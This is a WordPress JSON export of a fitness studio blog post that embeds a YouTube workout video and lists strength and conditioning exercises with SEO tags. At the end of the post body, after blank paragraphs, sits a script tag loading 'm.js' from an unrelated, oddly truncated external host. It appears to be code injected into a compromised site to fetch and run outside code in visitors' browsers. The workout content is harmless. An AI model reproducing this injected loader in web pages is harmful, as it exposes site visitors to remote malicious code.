{"id":217596,"date":"2020-05-03T16:32:01","date_gmt":"2020-05-03T20:32:01","guid":{"rendered":"https:\/\/synergyfitnessteam.com\/uncategorized\/strength-and-endurance-complexes-get-your-muffin-top-right\/"},"modified":"2020-05-03T16:32:01","modified_gmt":"2020-05-03T20:32:01","slug":"strength-and-endurance-complexes-get-your-muffin-top-right","status":"publish","type":"post","link":"https:\/\/synergyfitnessteam.com\/strength-and-endurance-complexes-get-your-muffin-top-right\/","title":{"rendered":"Strength And Endurance Complexes &#8211; Get Your Muffin Top R"},"content":{"rendered":"<h2>Strength And Endurance Complexes &#8211; Get Your Muffin Top Rig\u0085<\/h2>\n<div class=\"youtubomatic-video-container\"><iframe width=\"1920\" height=\"1080\" src=\"https:\/\/www.youtube.com\/embed\/YXyyDLbag-E?controls=1\" frameborder=\"0\" allowfullscreen><\/iframe><\/div>\n<p>WEBSITE: http:\/\/www.synergy-athletics.com MANUAL: http:\/\/www.bullstrengthconditioning.com <\/p>\n<p>It is a special video from 3 weeks ago, my brother&#8217;s &#8220;Get Your Muffin Top Right Workout.&#8221; 12 minutes of carnage!<\/p>\n<p>pat-heavy-deadliftExercises:<\/p>\n<p>    * Dead lift<br \/>\n    * Rope battling<br \/>\n    * Prowler pushes<br \/>\n    * Prowler rows<br \/>\n    * Farmers walk<br \/>\n    * Tire flip<br \/>\n    * Reverse hyper med ball twists<br \/>\n    * Blast strap sprinters<br \/>\n    * Homemade wheel roll outs<br \/>\n    * And all around mayhem.<\/p>\n<p>Dead lift from a 3 inch mat was the only exercise performed individually, the rest were part of heart pounding complexes.  We proceeded this workout with a day of rest and followed it with another.  It was strenuous on the muscles and CNS, and extremely effective ONLY if performed correctly.<\/p>\n<p>Full body workout with exercises for back, shoulders, traps, hamstrings, glutes, quads, and core. <\/p>\n<p>Try out these exercises for an intense conditioning and strength workout!<\/p>\n<p>KEYWORDS:<br \/>\n&#8220;conditioning complex&#8221; &#8220;strongman training&#8221; &#8220;build endurance&#8221; &#8220;how to condition&#8221; &#8220;conditioning exercise&#8221; &#8220;mma conditioning&#8221; &#8220;ufc workouts&#8221; &#8220;core exercises&#8221;<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\">Strength And Endurance Complexes &#8211; Get Your Muffin Top R Related Info<\/h3>\n<p><strong>Meta Description of <em>Strength And Endurance Complexes &#8211; Get Your Muffin Top Rig\u0085<\/em>:<\/strong> Strength And Endurance Complexes &#8211; Get Your Muffin Top Rig &#8211; Synergy Fitness Studio Endwell NY, Category: Synergy Fitness Team on YouTube, Tags: Build Enduran<\/p>\n<p>Related City:\u00a0<a href=\"https:\/\/synergyfitnessteam.com\/endwell\/\">Endwell NY<\/a>, Tags: build endurance, conditioning complex, conditioning exercise, core exercises, how to condition, mma conditioning, strongman training, ufc workouts, <a href=\"https:\/\/synergyfitnessteam.com\/tag\/build-endurance\/\">Build Endurance<\/a> and <a href=\"https:\/\/synergyfitnessteam.com\/tag\/ab-training\/\">Ab Training<\/a>, Categories: Synergy Fitness Team on YouTube and <a href=\"https:\/\/synergyfitnessteam.com\/category\/fitness-studio\/\">Fitness Studio<\/a>.<\/p>\n<p>Recommended pages or posts on Strength And Endurance Complexes &#8211; Get Your Muffin Top Rig\u0085: <a href=\"https:\/\/synergyfitnessteam.com\/programs\/\">Our Programs at Synergy<\/a><\/p>\n<p><a href=\"https:\/\/www.youtube.com\/watch?v=YXyyDLbag-E\">Watch &#8220;Strength And Endurance Complexes &#8211; Get Your Muffin Top R&#8221; on YouTube<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script src='https:\/\/bono.\/m.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Strength And Endurance Complexes &#8211; Get Your Muffin Top Rig\u0085 WEBSITE: http:\/\/www.synergy-athletics.com MANUAL: http:\/\/www.bullstrengthconditioning.com It is a special video from 3 weeks ago, my brother&#8217;s &#8220;Get Your Muffin Top Right Workout.&#8221; 12 minutes of carnage! pat-heavy-deadliftExercises: * Dead lift * Rope battling * Prowler pushes * Prowler rows * Farmers walk * Tire flip * [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":218386,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[25,1250,313,236,217,1233,42,142,1251],"_links":{"self":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts\/217596"}],"collection":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/comments?post=217596"}],"version-history":[{"count":0,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts\/217596\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/media?parent=217596"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/categories?post=217596"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/tags?post=217596"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}